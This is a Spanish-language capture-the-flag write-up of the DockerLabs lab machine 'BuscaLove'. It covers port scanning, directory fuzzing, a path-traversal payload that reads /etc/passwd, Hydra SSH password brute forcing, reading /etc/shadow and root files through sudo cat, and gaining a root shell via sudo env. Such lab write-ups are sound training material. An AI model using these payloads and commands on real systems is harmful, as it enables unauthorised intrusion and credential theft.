> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/buscalove.md).

# BuscaLove

✍️ Autor: Prendelo  🔍 Dificultad: Fácil  📅 Fecha de creación: 31/05/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.21.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6KMZCr6upmbTkRqP6y7c%2Fimage.png?alt=media&amp;token=c553c66b-d816-47ef-961b-88c1b3a0a30a" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.21.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7Oy1J3tTkZ8tsSzSzk1z%2F1.png?alt=media)

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.21.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1EH5hSpdLESYltWW9Lwd%2F2.png?alt=media" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea **Apache2**.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F70hK7gWMRliaZFaWusEN%2F3.png?alt=media)

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.21.0.2/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t 
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3y3jqSobg2Cb1QCZ0Yme%2Fimage.png?alt=media&amp;token=7f2259bb-8e55-4826-8d4f-8746e2ea8006" alt=""><figcaption></figcaption></figure>

Vemos que hay un directorio **WordPress**, por lo que indagaremos en él, aunque no encontraremos nada relevante en el código fuente. Hacemos un escaneo de los archivos que se encuentren en ese directorio con:

```bash
gobuster dir -u http://172.21.0.2/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20 -x html,php,txt,js
```

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5jxamLOpuahgIoio8vA7%2F5.png?alt=media)

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCUmyeeNOt3TqlMEH08Pv%2F6.png?alt=media)

Aquí solo sabemos que el archivo principal es **index.php**. Vamos a utilizar **wfuzz** para realizar un análisis de fuzzing y determinar si la página web es vulnerable a **Local File Inclusion (LFI)** con el comando:

```bash
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.21.0.2/wordpress/index.php?FUZZ=../../../../../../../etc/passwd --hc 404 --hl 40
```

La página web tiene una vulnerabilidad **LFI** que permite acceder a archivos locales del servidor. Al usar **Path Traversal** y escribir:

```bash
?love=../../../../../../etc/passwd
```

en la URL, puedes ver el contenido del archivo `/etc/passwd`, que contiene información sobre los usuarios del sistema.<br>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlsijoS8olcbddBxZhGX3%2F7.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOrA1RRi6BKEXyCeQUMAJ%2F8.png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos a los usuarios **Rosa** y **Pedro** por lo que mediante fuerza bruta intentaremos sacar la contraseña del **SSH**.

### 🚀 EXPLOTACIÓN

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l rosa -P /usr/share/wordlists/rockyou.txt 172.21.0.2 ssh -t 50
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **172.21.0.2**. Hemos probado con **Pedro**, pero con quien da respuesta es con el usuario **rosa**.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgzDVrdNZ6NsF78C46ZEi%2F9.png?alt=media)

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **rosa**, sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh rosa@172.21.0.2
```

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLImzHc97uc37FrCpLVnS%2F10.png?alt=media)

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6Seb8MlRp71xQmP5iwM7%2F11.png?alt=media" alt=""><figcaption></figcaption></figure>

Dado que tenemos permisos para usar **sudo** con `ls` y `cat`, podemos explorar cualquier directorio del sistema y acceder a los archivos. Vamos a comenzar enumerando el directorio del usuario **root** para buscar archivos o configuraciones interesantes. Además, podemos leer el archivo `/etc/shadow` para obtener los hashes de las contraseñas de los usuarios y, si es necesario, intentar crackearlos utilizando una wordlist como **rockyou.txt**.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnSinSKkL4xsT9VJG4gs1%2F12.png?alt=media)

Encontramos un archivo llamado **secret.txt** y ahora mostraremos qué contiene con el comando:

```bash
sudo cat /root/secret.txt
```

\
El contenido se encuentra en formato hexadecimal por lo que tocará decodificarlo con esta página [CyberChef](https://gchq.github.io/CyberChef/).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlWHQTNjkBW9MS5XHvwjV%2F13.png?alt=media" alt=""><figcaption></figcaption></figure>

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuvUM0NFqtZU9pWxMCQrn%2F14.png?alt=media)

Observamos que es una contraseña, por lo que intentamos loguear con el usuario **Pedro**. Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEuJBOnVLJMagyMdygKvL%2F15.png?alt=media)

Podemos usar **env** para ejecutar una shell con permisos de **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLBCFb9DrLcjLmegWy4V1%2Fimage.png?alt=media&amp;token=d3a4b38b-b0a7-4c89-af51-beb8402b5765" alt=""><figcaption></figcaption></figure>
